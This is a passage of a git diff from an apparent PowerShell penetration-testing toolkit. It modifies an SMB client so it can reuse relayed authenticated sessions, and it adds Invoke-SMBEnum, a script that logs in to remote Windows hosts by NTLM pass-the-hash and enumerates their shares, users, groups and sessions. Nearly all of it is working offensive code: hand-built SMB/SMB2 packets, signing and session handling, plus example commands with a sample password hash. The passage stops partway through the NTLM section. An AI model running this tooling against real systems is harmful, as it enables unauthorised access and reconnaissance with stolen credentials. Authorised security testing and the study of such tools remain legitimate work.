ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - if($SMB_signing) + 'TreeDisconnect' { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2TreeDisconnectRequest $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } - if($write_request_step -lt $source_file_size_quotient) - { + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null - if(!$NoProgress) + if($inveigh_session -and !$Logoff) + { + $stage = 'Exit' + } + else { - $percent_complete_calculation = [Math]::Truncate($write_request_step / $percent_complete * 100) - Write-Progress -Activity "Uploading $source_file - $progress_file_size" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation + $stage = 'Logoff' } - $write_request_offset+=65536 - $write_request_step++ - $SMB_client_stage = 'WriteRequest' } - elseif($write_request_step -eq $source_file_size_quotient -and $source_file_size_remainder -ne 0) - { - $write_request_length = $source_file_size_remainder - $write_request_offset+=65536 - $write_request_step++ - $SMB_client_stage = 'WriteRequest' - } - else + + 'WriteRequest' { - $action_step++ - $set_info_request_file_info_class = 0x01 - $set_info_request_info_level = 0x04 - $set_info_request_buffer = $source_file_creation_time + - $source_file_last_access_time + - $source_file_last_write_time + - $source_file_last_change_time + - 0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00 if(!$Modify) { - $SMB_client_stage = 'SetInfoRequest' + $source_file_binary_reader.BaseStream.Seek($write_request_offset,"Begin") > $null + $source_file_binary_reader.Read($source_file_buffer,0,$source_file_buffer_size) > $null } else { - $output_message = "File uploaded from memory" - $SMB_client_stage = 'CloseRequest' + $source_file_buffer = $Source[$write_request_offset..($write_request_offset+$write_request_length)] } + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_header["CreditCharge"] = 0x01,0x00 + $packet_SMB2_data = New-PacketSMB2WriteRequest $write_request_length $write_request_offset $file_ID $source_file_buffer + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - } + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } - } + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null - 'TreeDisconnect' - { - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x04,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } - - $packet_SMB2_data = Get-PacketSMB2TreeDisconnectRequest - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + if($write_request_step -lt $source_file_size_quotient) + { - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + if(!$NoProgress) + { + $percent_complete_calculation = [Math]::Truncate($write_request_step / $percent_complete * 100) + Write-Progress -Activity "[*] Uploading $source_file - $progress_file_size" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation + } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'Logoff' - } + $write_request_offset+=65536 + $write_request_step++ + $stage = 'WriteRequest' + } + elseif($write_request_step -eq $source_file_size_quotient -and $source_file_size_remainder -ne 0) + { + $write_request_length = $source_file_size_remainder + $write_request_offset+=65536 + $write_request_step++ + $stage = 'WriteRequest' + } + else + { + $action_step++ + $set_info_request_file_info_class = 0x01 + $set_info_request_info_level = 0x04 + $set_info_request_buffer = $source_file_creation_time + + $source_file_last_access_time + + $source_file_last_write_time + + $source_file_last_change_time + + 0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00 - 'Logoff' - { - $SMB2_message_ID += 20 - $packet_SMB2_header = Get-PacketSMB2Header 0x02,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } - - $packet_SMB2_data = Get-PacketSMB2SessionLogoffRequest - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + if(!$Modify) + { + $stage = 'SetInfoRequest' + } + else + { + $output_message = "[+] File uploaded from memory" + $stage = 'CloseRequest' + } - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'Exit' + } + } - + } - + } } - + catch + { + Write-Output "[-] $($_.Exception.Message)" } finally { @@ -2642,8 +2914,19 @@ if($SMB_client.Connected) $source_file_stream.Close() } - $SMB_client.Close() - $SMB_client_stream.Close() + if($inveigh_session -and $Inveigh) + { + $inveigh.session_lock_table[$session] = 'open' + $inveigh.session_message_ID_table[$session] = $message_ID + $inveigh.session_list[$session] | Where-Object {$_."Last Activity" = Get-Date -format s} + } + + if(!$inveigh_session -or $Logoff) + { + $client.Close() + $client_stream.Close() + } + } } diff --git a/Invoke-SMBEnum.ps1 b/Invoke-SMBEnum.ps1 new file mode 100644 index 0000000..951b009 --- /dev/null +++ b/Invoke-SMBEnum.ps1 @@ -0,0 +1,3189 @@ +function Invoke-SMBEnum +{ +<# +.SYNOPSIS +Invoke-SMBEnum performs enumeration tasks over SMB with NTLMv2 pass the hash authentication. Invoke-SMBEnum +supports SMB2.1 with and without SMB signing. + +Author: Kevin Robertson (@kevin_robertson) +License: BSD 3-Clause + +.PARAMETER Target +Hostname or IP address of target. + +.PARAMETER Username +Username to use for authentication. + +.PARAMETER Domain +Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the +username. + +.PARAMETER Hash +NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. + +.PARAMETER Action +(All,Group,NetSession,Share,User) Default = Share: Enumeration action to perform. + +.PARAMETER Group +Default = Administrators: Group to enumerate. + +.PARAMETER Sleep +Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this +setting if you are experiencing strange results. + +.PARAMETER Session +Inveigh-Relay authenticated session. + +.PARAMETER Version +Default = Auto: (Auto,1,2.1) Force SMB version. The default behavior is to perform SMB version negotiation and use SMB2.1 if supported by the +target. Note, only the signing check works with SMB1. + +.PARAMETER TargetShow +(Switch) Outputs the target as part of the results for single action types. + +.EXAMPLE +List shares. +Invoke-SMBEnum -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 + +.EXAMPLE +List NetSessions. +Invoke-SMBEnum -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action NetSession + +.EXAMPLE +List local users using an authenticated Inveigh-Relay session. +Invoke-SMBEnum -Session 1 -Action User + +.EXAMPLE +Check if SMB signing is required. +Invoke-SMBEnum -Target 192.168.100.20 -SigningCheck + +.LINK +https://github.com/Kevin-Robertson/Invoke-TheHash + +#> +[CmdletBinding(DefaultParametersetName='Default')] +param +( + [parameter(Mandatory=$false)][String]$Target, + [parameter(ParameterSetName='Auth',Mandatory=$true)][String]$Username, + [parameter(ParameterSetName='Auth',Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][ValidateSet("All","NetSession","Share","User","Group")][String]$Action = "All", + [parameter(ParameterSetName='Auth',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, + [parameter(Mandatory=$false)][String]$Service, + [parameter(Mandatory=$false)][String]$Group = "Administrators", + [parameter(Mandatory=$false)][ValidateSet("Auto","1","2.1")][String]$Version="Auto", + [parameter(ParameterSetName='Session',Mandatory=$false)][Int]$Session, + [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Logoff, + [parameter(Mandatory=$false)][Switch]$TargetShow, + [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Refresh, + [parameter(Mandatory=$false)][Int]$Sleep=150 +) + +if($PsCmdlet.ParameterSetName -ne 'Session' -and !$Target) +{ + Write-Output "[-] Target is required when not using -Session" + throw +} + +if($Version -eq '1') +{ + $SMB_version = 'SMB1' +} +elseif($Version -eq '2.1') +{ + $SMB_version = 'SMB2.1' +} + +if($PsCmdlet.ParameterSetName -ne 'Auth' -and $PsCmdlet.ParameterSetName -ne 'Session') +{ + $signing_check = $true +} + +function ConvertFrom-PacketOrderedDictionary +{ + param($OrderedDictionary) + + ForEach($field in $OrderedDictionary.Values) + { + $byte_array += $field + } + + return $byte_array +} + +#NetBIOS + +function New-PacketNetBIOSSessionService +{ + param([Int]$HeaderLength,[Int]$DataLength) + + [Byte[]]$length = ([System.BitConverter]::GetBytes($HeaderLength + $DataLength))[2..0] + + $NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary + $NetBIOSSessionService.Add("MessageType",[Byte[]](0x00)) + $NetBIOSSessionService.Add("Length",$length) + + return $NetBIOSSessionService +} + +#SMB1 + +function New-PacketSMBHeader +{ + param([Byte[]]$Command,[Byte[]]$Flags,[Byte[]]$Flags2,[Byte[]]$TreeID,[Byte[]]$ProcessID,[Byte[]]$UserID) + + $ProcessID = $ProcessID[0,1] + + $SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary + $SMBHeader.Add("Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) + $SMBHeader.Add("Command",$Command) + $SMBHeader.Add("ErrorClass",[Byte[]](0x00)) + $SMBHeader.Add("Reserved",[Byte[]](0x00)) + $SMBHeader.Add("ErrorCode",[Byte[]](0x00,0x00)) + $SMBHeader.Add("Flags",$Flags) + $SMBHeader.Add("Flags2",$Flags2) + $SMBHeader.Add("ProcessIDHigh",[Byte[]](0x00,0x00)) + $SMBHeader.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMBHeader.Add("Reserved2",[Byte[]](0x00,0x00)) + $SMBHeader.Add("TreeID",$TreeID) + $SMBHeader.Add("ProcessID",$ProcessID) + $SMBHeader.Add("UserID",$UserID) + $SMBHeader.Add("MultiplexID",[Byte[]](0x00,0x00)) + + return $SMBHeader +} + +function New-PacketSMBNegotiateProtocolRequest +{ + param([String]$Version) + + if($Version -eq 'SMB1') + { + [Byte[]]$byte_count = 0x0c,0x00 + } + else + { + [Byte[]]$byte_count = 0x22,0x00 + } + + $SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMBNegotiateProtocolRequest.Add("WordCount",[Byte[]](0x00)) + $SMBNegotiateProtocolRequest.Add("ByteCount",$byte_count) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) + + if($version -ne 'SMB1') + { + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) + } + + return $SMBNegotiateProtocolRequest +} + +function New-PacketSMBSessionSetupAndXRequest +{ + param([Byte[]]$SecurityBlob) + + [Byte[]]$byte_count = [System.BitConverter]::GetBytes($SecurityBlob.Length)[0,1] + [Byte[]]$security_blob_length = [System.BitConverter]::GetBytes($SecurityBlob.Length + 5)[0,1] + + $SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMBSessionSetupAndXRequest.Add("WordCount",[Byte[]](0x0c)) + $SMBSessionSetupAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $SMBSessionSetupAndXRequest.Add("Reserved",[Byte[]](0x00)) + $SMBSessionSetupAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $SMBSessionSetupAndXRequest.Add("MaxBuffer",[Byte[]](0xff,0xff)) + $SMBSessionSetupAndXRequest.Add("MaxMpxCount",[Byte[]](0x02,0x00)) + $SMBSessionSetupAndXRequest.Add("VCNumber",[Byte[]](0x01,0x00)) + $SMBSessionSetupAndXRequest.Add("SessionKey",[Byte[]](0x00,0x00,0x00,0x00)) + $SMBSessionSetupAndXRequest.Add("SecurityBlobLength",$byte_count) + $SMBSessionSetupAndXRequest.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $SMBSessionSetupAndXRequest.Add("Capabilities",[Byte[]](0x44,0x00,0x00,0x80)) + $SMBSessionSetupAndXRequest.Add("ByteCount",$security_blob_length) + $SMBSessionSetupAndXRequest.Add("SecurityBlob",$SecurityBlob) + $SMBSessionSetupAndXRequest.Add("NativeOS",[Byte[]](0x00,0x00,0x00)) + $SMBSessionSetupAndXRequest.Add("NativeLANManage",[Byte[]](0x00,0x00)) + + return $SMBSessionSetupAndXRequest +} + +#SMB2 + +function New-PacketSMB2Header +{ + param([Byte[]]$Command,[Byte[]]$CreditRequest,[Bool]$Signing,[Int]$MessageID,[Byte[]]$ProcessID,[Byte[]]$TreeID,[Byte[]]$SessionID) + + if($Signing) + { + $flags = 0x08,0x00,0x00,0x00 + } + else + { + $flags = 0x00,0x00,0x00,0x00 + } + + [Byte[]]$message_ID = [System.BitConverter]::GetBytes($MessageID) + + if($message_ID.Length -eq 4) + { + $message_ID += 0x00,0x00,0x00,0x00 + } + + $SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) + $SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00)) + $SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00)) + $SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00)) + $SMB2Header.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2Header.Add("Command",$Command) + $SMB2Header.Add("CreditRequest",$CreditRequest) + $SMB2Header.Add("Flags",$flags) + $SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2Header.Add("MessageID",$message_ID) + $SMB2Header.Add("ProcessID",$ProcessID) + $SMB2Header.Add("TreeID",$TreeID) + $SMB2Header.Add("SessionID",$SessionID) + $SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $SMB2Header +} + +function New-PacketSMB2NegotiateProtocolRequest +{ + $SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2NegotiateProtocolRequest.Add("StructureSize",[Byte[]](0x24,0x00)) + $SMB2NegotiateProtocolRequest.Add("DialectCount",[Byte[]](0x02,0x00)) + $SMB2NegotiateProtocolRequest.Add("SecurityMode",[Byte[]](0x01,0x00)) + $SMB2NegotiateProtocolRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("NegotiateContextCount",[Byte[]](0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("Reserved2",[Byte[]](0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("Dialect",[Byte[]](0x02,0x02)) + $SMB2NegotiateProtocolRequest.Add("Dialect2",[Byte[]](0x10,0x02)) + + return $SMB2NegotiateProtocolRequest +} + +function New-PacketSMB2SessionSetupRequest +{ + param([Byte[]]$SecurityBlob) + + [Byte[]]$security_buffer_length = ([System.BitConverter]::GetBytes($SecurityBlob.Length))[0,1] + + $SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2SessionSetupRequest.Add("StructureSize",[Byte[]](0x19,0x00)) + $SMB2SessionSetupRequest.Add("Flags",[Byte[]](0x00)) + $SMB2SessionSetupRequest.Add("SecurityMode",[Byte[]](0x01)) + $SMB2SessionSetupRequest.Add("Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2SessionSetupRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2SessionSetupRequest.Add("SecurityBufferOffset",[Byte[]](0x58,0x00)) + $SMB2SessionSetupRequest.Add("SecurityBufferLength",$security_buffer_length) + $SMB2SessionSetupRequest.Add("PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2SessionSetupRequest.Add("Buffer",$SecurityBlob) + + return $SMB2SessionSetupRequest +} + +function New-PacketSMB2TreeConnectRequest +{ + param([Byte[]]$Buffer) + + [Byte[]]$path_length = ([System.BitConverter]::GetBytes($Buffer.Length))[0,1] + + $SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2TreeConnectRequest.Add("StructureSize",[Byte[]](0x09,0x00)) + $SMB2TreeConnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2TreeConnectRequest.Add("PathOffset",[Byte[]](0x48,0x00)) + $SMB2TreeConnectRequest.Add("PathLength",$path_length) + $SMB2TreeConnectRequest.Add("Buffer",$Buffer) + + return $SMB2TreeConnectRequest +} + +function New-PacketSMB2CreateRequestFile +{ + param([Byte[]]$NamedPipe) + + $name_length = ([System.BitConverter]::GetBytes($NamedPipe.Length))[0,1] + + $SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2CreateRequestFile.Add("StructureSize",[Byte[]](0x39,0x00)) + $SMB2CreateRequestFile.Add("Flags",[Byte[]](0x00)) + $SMB2CreateRequestFile.Add("RequestedOplockLevel",[Byte[]](0x00)) + $SMB2CreateRequestFile.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("FileAttributes",[Byte[]](0x80,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("ShareAccess",[Byte[]](0x01,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("CreateOptions",[Byte[]](0x40,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("NameOffset",[Byte[]](0x78,0x00)) + $SMB2CreateRequestFile.Add("NameLength",$name_length) + $SMB2CreateRequestFile.Add("CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CreateRequestFile.Add("Buffer",$NamedPipe) + + return $SMB2CreateRequestFile +} + +function New-PacketSMB2QueryInfoRequest +{ + param ([Byte[]]$InfoType,[Byte[]]$FileInfoClass,[Byte[]]$OutputBufferLength,[Byte[]]$InputBufferOffset,[Byte[]]$FileID,[Int]$Buffer) + + [Byte[]]$buffer_bytes = ,0x00 * $Buffer + + $SMB2QueryInfoRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2QueryInfoRequest.Add("StructureSize",[Byte[]](0x29,0x00)) + $SMB2QueryInfoRequest.Add("InfoType",$InfoType) + $SMB2QueryInfoRequest.Add("FileInfoClass",$FileInfoClass) + $SMB2QueryInfoRequest.Add("OutputBufferLength",$OutputBufferLength) + $SMB2QueryInfoRequest.Add("InputBufferOffset",$InputBufferOffset) + $SMB2QueryInfoRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2QueryInfoRequest.Add("InputBufferLength",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2QueryInfoRequest.Add("AdditionalInformation",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2QueryInfoRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2QueryInfoRequest.Add("FileID",$FileID) + + if($Buffer -gt 0) + { + $SMB2QueryInfoRequest.Add("Buffer",$buffer_bytes) + } + + return $SMB2QueryInfoRequest +} + +function New-PacketSMB2ReadRequest +{ + param ([Byte[]]$FileID) + + $SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2ReadRequest.Add("StructureSize",[Byte[]](0x31,0x00)) + $SMB2ReadRequest.Add("Padding",[Byte[]](0x50)) + $SMB2ReadRequest.Add("Flags",[Byte[]](0x00)) + $SMB2ReadRequest.Add("Length",[Byte[]](0x00,0x00,0x10,0x00)) + $SMB2ReadRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2ReadRequest.Add("FileID",$FileID) + $SMB2ReadRequest.Add("MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2ReadRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2ReadRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2ReadRequest.Add("ReadChannelInfoOffset",[Byte[]](0x00,0x00)) + $SMB2ReadRequest.Add("ReadChannelInfoLength",[Byte[]](0x00,0x00)) + $SMB2ReadRequest.Add("Buffer",[Byte[]](0x30)) + + return $SMB2ReadRequest +} + +function New-PacketSMB2WriteRequest +{ + param([Byte[]]$FileID,[Int]$RPCLength) + + [Byte[]]$write_length = [System.BitConverter]::GetBytes($RPCLength) + + $SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2WriteRequest.Add("StructureSize",[Byte[]](0x31,0x00)) + $SMB2WriteRequest.Add("DataOffset",[Byte[]](0x70,0x00)) + $SMB2WriteRequest.Add("Length",$write_length) + $SMB2WriteRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2WriteRequest.Add("FileID",$FileID) + $SMB2WriteRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2WriteRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2WriteRequest.Add("WriteChannelInfoOffset",[Byte[]](0x00,0x00)) + $SMB2WriteRequest.Add("WriteChannelInfoLength",[Byte[]](0x00,0x00)) + $SMB2WriteRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + + return $SMB2WriteRequest +} + +function New-PacketSMB2CloseRequest +{ + param ([Byte[]]$FileID) + + $SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2CloseRequest.Add("StructureSize",[Byte[]](0x18,0x00)) + $SMB2CloseRequest.Add("Flags",[Byte[]](0x00,0x00)) + $SMB2CloseRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2CloseRequest.Add("FileID",$FileID) + + return $SMB2CloseRequest +} + +function New-PacketSMB2TreeDisconnectRequest +{ + $SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2TreeDisconnectRequest.Add("StructureSize",[Byte[]](0x04,0x00)) + $SMB2TreeDisconnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) + + return $SMB2TreeDisconnectRequest +} + +function New-PacketSMB2SessionLogoffRequest +{ + $SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2SessionLogoffRequest.Add("StructureSize",[Byte[]](0x04,0x00)) + $SMB2SessionLogoffRequest.Add("Reserved",[Byte[]](0x00,0x00)) + + return $SMB2SessionLogoffRequest +} + +function New-PacketSMB2IoctlRequest +{ + param([Byte[]]$Function,[Byte[]]$FileName,[Int]$Length,[Int]$OutSize) + + [Byte[]]$indata_length = [System.BitConverter]::GetBytes($Length + 24) + [Byte[]]$out_size = [System.BitConverter]::GetBytes($OutSize) + + $SMB2IoctlRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2IoctlRequest.Add("StructureSize",[Byte[]](0x39,0x00)) + $SMB2IoctlRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2IoctlRequest.Add("Function",$Function) + $SMB2IoctlRequest.Add("GUIDHandle",$FileName) + $SMB2IoctlRequest.Add("InData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) + $SMB2IoctlRequest.Add("InData_Length",$indata_length) + $SMB2IoctlRequest.Add("MaxIoctlInSize",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2IoctlRequest.Add("OutData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) + $SMB2IoctlRequest.Add("OutData_Length",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2IoctlRequest.Add("MaxIoctlOutSize",$out_size) + $SMB2IoctlRequest.Add("Flags",[Byte[]](0x01,0x00,0x00,0x00)) + $SMB2IoctlRequest.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + + if($out_size -eq 40) + { + $SMB2IoctlRequest.Add("InData_Capabilities",[Byte[]](0x7f,0x00,0x00,0x00)) + $SMB2IoctlRequest.Add("InData_ClientGUID",[Byte[]](0xc7,0x11,0x73,0x1e,0xa5,0x7d,0x39,0x47,0xaf,0x92,0x2d,0x88,0xc0,0x44,0xb1,0x1e)) + $SMB2IoctlRequest.Add("InData_SecurityMode",[Byte[]](0x01)) + $SMB2IoctlRequest.Add("InData_Unknown",[Byte[]](0x00)) + $SMB2IoctlRequest.Add("InData_DialectCount",[Byte[]](0x02,0x00)) + $SMB2IoctlRequest.Add("InData_Dialect",[Byte[]](0x02,0x02)) + $SMB2IoctlRequest.Add("InData_Dialect2",[Byte[]](0x10,0x02)) + } + + return $SMB2IoctlRequest +} + +#NTLM + +function New-PacketNTLMSSPNegotiate +{ + 